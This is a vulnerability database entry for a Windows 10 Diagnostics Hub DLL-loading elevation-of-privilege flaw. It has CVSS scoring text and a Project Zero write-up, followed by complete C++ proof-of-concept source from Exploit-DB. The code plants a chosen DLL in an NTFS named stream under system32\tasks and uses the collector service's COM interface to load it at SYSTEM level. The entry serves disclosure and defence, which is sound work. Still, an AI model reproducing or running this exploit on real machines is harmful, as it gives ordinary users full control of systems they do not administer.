Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-264 |
Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40562
Publication date : 2016-10-16 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=887
Windows: Diagnostics Hub DLL Load EoP
Platform: Windows 10 10586, not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege
Summary:
The fix for CVE-2016-3231 is insufficient to prevent a normal user specifying an insecure agent path leading to arbitrary DLL loading at system privileges.
Description:
CVE-2016-3231 was an issue caused by passing a relative agent path name which allowed the DLL path loaded for the agent DLL to be redirected to another file. This seems to have been fixed and as far as I can tell this issue is no longer exploitable from a sandbox. However the problem is there’s an assumption that it’s not possible to write a file to the system32 directory, which technically is true but practically for this exploit false.
As I’ve blogged about before, and also submitted bugs (for example MSRC-21233) a normal user can created named streams on directories as long as they have FILE_ADD_FILE access right to the directory. When you do this you create what looks from a path perspective to be in the parent. For example the system32\tasks folder is writable by a normal user, so you can copy a DLL to system32\tasks:abc.dll and when GetFullPathName is called the filename returned is tasks:abc.dll. When the GetValidAgentPath is called it checks if this file is in system32 by using GetFileAttributes, which succeeds and the service will proceed to load the file.
On the fixing side of things, I can’t see an obvious reason why just checking for invalid path characters in the agent path wouldn’t be sufficient (and in fact would arguably have fixed the original bug as well). Of course I think it’s slightly dodgy that you’ll load any DLL from system32, even ones which aren’t agent DLLs. You’d have to find something which was somehow exploitable in a very short time window during DllMain but it might work.
Also I wonder whether they’re any legitimate uses for named streams on NTFS directories? While it’s certainly out of scope perhaps they could only be created by admins? Or perhaps the access check shouldn’t be on the target directories but its parent directory where the effective file appears to be located.
Proof of Concept:
I’ve provided a PoC as a C++ source code file. You’ll also need a DLL to test load, I’ve not provided one of these but any should do, as long as it matches the bitness of the OS.
1) Compile the C++ source code file.
2) Execute the poc passing the path to the DLL you want to load in the service as a normal user.
3) It should print that the DLL was loaded successfully.
Expected Result:
The loading of a DLL fails as the path is rejected.
Observed Result:
The DLL is loaded successfully.
*/
// ExploitCollector.cpp : Defines the entry point for the console application.
//
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <comdef.h>
#include <strsafe.h>
GUID CLSID_CollectorService =
{ 0x42CBFAA7, 0xA4A7, 0x47BB,{ 0xB4, 0x22, 0xBD, 0x10, 0xE9, 0xD0, 0x27, 0x00, } };
class __declspec(uuid("f23721ef-7205-4319-83a0-60078d3ca922")) ICollectionSession : public IUnknown {
public:
virtual HRESULT __stdcall PostStringToListener(REFGUID, LPWSTR) = 0;
virtual HRESULT __stdcall PostBytesToListener() = 0;
virtual HRESULT __stdcall AddAgent(LPWSTR path, REFGUID) = 0;
//.rdata:0000000180035868 dq offset ? Start@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Start(tagVARIANT *)
//.rdata:0000000180035870 dq offset ? GetCurrentResult@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJFPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetCurrentResult(short, tagVARIANT *)
//.rdata:0000000180035878 dq offset ? Pause@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJXZ; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Pause(void)
//.rdata:0000000180035880 dq offset ? Resume@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJXZ; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Resume(void)
//.rdata:0000000180035888 dq offset ? Stop@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Stop(tagVARIANT *)
//.rdata:0000000180035890 dq offset ? TriggerEvent@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJW4SessionEvent@@PEAUtagVARIANT@@11@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::TriggerEvent(SessionEvent, tagVARIANT *, tagVARIANT *, tagVARIANT *)
//.rdata:0000000180035898 dq offset ? GetGraphDataUpdates@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJAEBU_GUID@@PEAUtagSAFEARRAY@@PEAUGraphDataUpdates@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetGraphDataUpdates(_GUID const &, tagSAFEARRAY *, GraphDataUpdates *)
//.rdata:00000001800358A0 dq offset ? QueryState@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAW4SessionState@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::QueryState(SessionState *)
//.rdata:00000001800358A8 dq offset ? GetStatusChangeEventName@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAPEAG@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetStatusChangeEventName(ushort * *)
//.rdata:00000001800358B0 dq offset ? GetLastError@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAJ@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetLastError(long *)
//.rdata:00000001800358B8 dq offset ? SetClientDelegate@EtwCollectionSession@StandardCollector@DiagnosticsHub@Mic
};
struct SessionConfiguration
{
DWORD version; // Needs to be 1
DWORD a1; // Unknown
DWORD something; // Also unknown
DWORD monitor_pid;
GUID guid;
BSTR path; // Path to a valid directory
CHAR trailing[256];
};
class __declspec(uuid("7e912832-d5e1-4105-8ce1-9aadd30a3809")) IStandardCollectorClientDelegate : public IUnknown
{
};
class __declspec(uuid("0d8af6b7-efd5-4f6d-a834-314740ab8caa")) IStandardCollectorService : public IUnknown
{
public:
virtual HRESULT __stdcall CreateSession(SessionConfiguration *, IStandardCollectorClientDelegate *, ICollectionSession **) = 0;
virtual HRESULT __stdcall GetSession(REFGUID, ICollectionSession **) = 0;
virtual HRESULT __stdcall DestroySession(REFGUID) = 0;
virtual HRESULT __stdcall DestroySessionAsync(REFGUID) = 0;
virtual HRESULT __stdcall AddLifetimeMonitorProcessIdForSession(REFGUID, int) = 0;
};
_COM_SMARTPTR_TYPEDEF(IStandardCollectorService, __uuidof(IStandardCollectorService));
_COM_SMARTPTR_TYPEDEF(ICollectionSession, __uuidof(ICollectionSession));
class CoInit
{
public:
CoInit() {
CoInitialize(nullptr);
}
~CoInit() {
CoUninitialize();
}
};
void ThrowOnError(HRESULT hr)
{
if (hr != 0)
{
throw _com_error(hr);
}
}
int wmain(int argc, wchar_t** argv)
{
if (argc < 2)
{
printf("poc path\\to\\dll\n");
return 1;
}
CoInit coinit;
try
{
GUID name;
CoCreateGuid(&name);
LPOLESTR name_str;
StringFromIID(name, &name_str);
WCHAR random_name[MAX_PATH];
StringCchPrintf(random_name, MAX_PATH, L"tasks:%ls.dll", name_str);
WCHAR target[MAX_PATH];
GetSystemDirectory(target, MAX_PATH);
StringCchCat(target, MAX_PATH, L"\\");
StringCchCat(target, MAX_PATH, random_name);
WCHAR valid_dir[MAX_PATH];
GetModuleFileName(nullptr, valid_dir, MAX_PATH);
WCHAR* p = wcsrchr(valid_dir, L'\\');
*p = 0;
StringCchCat(valid_dir, MAX_PATH, L"\\etw");
CreateDirectory(valid_dir, nullptr);
if (!CopyFile(argv[1], target, FALSE))
{
printf("Error copying file %d\n", GetLastError());
return 1;
}
IStandardCollectorServicePtr service;
ThrowOnError(CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service)));
DWORD authn_svc;
DWORD authz_svc;
LPOLESTR principal_name;
DWORD authn_level;
DWORD imp_level;
RPC_AUTH_IDENTITY_HANDLE identity;
DWORD capabilities;
ThrowOnError(CoQueryProxyBlanket(service, &authn_svc, &authz_svc, &principal_name, &authn_level, &imp_level, &identity, &capabilities));
ThrowOnError(CoSetProxyBlanket(service, authn_svc, authz_svc, principal_name, authn_level, RPC_C_IMP_LEVEL_IMPERSONATE, identity, capabilities));
SessionConfiguration config = {};
config.version = 1;
config.monitor_pid = ::GetCurrentProcessId();
CoCreateGuid(&config.guid);
bstr_t path = valid_dir;
config.path = path;
ICollectionSessionPtr session;
ThrowOnError(service->CreateSession(&config, nullptr, &session));
GUID agent_guid;
CoCreateGuid(&agent_guid);
ThrowOnError(session->AddAgent(random_name, agent_guid));
}
catch (const _com_error& error)
{
if (error.Error() == 0x8007045A)
{
printf("DLL should have been loaded\n");
}
else
{
printf("%ls\n", error.ErrorMessage());
printf("%08X\n", error.Error());
}
}
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
References
